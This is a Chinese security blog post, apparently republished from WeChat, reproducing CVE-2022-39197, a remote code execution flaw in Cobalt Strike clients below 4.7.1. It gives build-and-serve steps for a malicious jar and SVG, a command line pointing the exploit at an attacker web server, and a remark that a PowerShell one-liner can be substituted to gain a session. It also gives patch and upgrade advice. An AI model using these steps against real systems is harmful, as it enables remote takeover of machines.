文末附漏洞分析
0x01 漏洞简介
由于Cobalt Strike 使用 GUI 框架 SWING开发,未经身份验证的远程攻击者可通过在 beacon 元数据中注入恶意 HTML 标签,使得CS对其进行解析时加载恶意代码,从而在目标系统上执行任意代码(来自:奇安信 CERT)
0x02 漏洞危害
获取到攻击者的CS木马样本后,在连接CS的客户端进行命令执行,反制攻击者
影响的版本:
Cobalt Strike < 4.7.1
0x03 漏洞复现
我这里用的CS4.4(实际测试网传的4.4/4.5版本,包括各类魔改版本(包括某些版本做了简单的标签过滤),不加载禁止渲染html的补丁都是可以RCE的)
1、CS木马样本文件
2、EXP地址:https://github.com/its-arun/CVE-2022-39197
1、编辑恶意文件内容
修改Exploit.java,更改exec内代码参数为要执行的命令,我这里执行calc:
2、编译文件
使用IDEA+maven进行编译,编译完成后会在target目录下生成EvilJar-1.0-jar-with-dependencies.jar文件,具体如下
3、将生成的恶意文件和svg文件放在同一路径下
将木马样本放在与cve-2022-39197.py脚本同一路径下
4、在serve路径下开启一个web服务
5、编辑evil.svg文件,替换为当前路径启用的恶意jar的web地址
6、执行POC脚本
python3 cve-2022-39197.py update.exe http://192.168.91.203:9898/evil.svg
运行后,cs客户端上可以看到此时木马已经成功上线
当尝试获取用户会话的进程列表
当滚动进程列表进行查看当前会话所在进程名时即触发,请求攻击者web服务上的evil.svg文件,而evil.svg文件又继续加载请求恶意文件EvilJar-1.0-jar-with-dependencies.jar,成功执行命令,从而达到RCE。
细节1:貌似直接滑下去看的话是不会触发的,需要鼠标焦点在含有xss payload的进程名上
细节2:执行脚本的时候,马儿名称要是beacon.exe,不然也是不行的
可以看到进程名没有被修改
看看cve-2022-39197.py脚本代码:
beacon.exe在代码里写死了
修改后:
就可以了:
经测试:
WINDOWS下可以直接将执行的命令改成powershell一句话接上线
请求日志:
脚本运行100秒后会自动结束木马进程:
05修复建议
1、升级至 Cobalt Strike 4.7.2版本
2、加载补丁插件全局禁止html渲染:
地址:https://github.com/burpheart/CVE-2022-39197-patch
启动客户端的时候加入agent参数就行:
不渲染html无法触发:
默认关于页面的html内容也不渲染了:
参考链接:
https://mp.weixin.qq.com/s/OSxcLX21bIdFy1VGd93W7Q
详细分析文章:
https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ
原文始发于微信公众号(哈拉少安全小队):CS < 4.7.1 RCE 复现踩坑记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论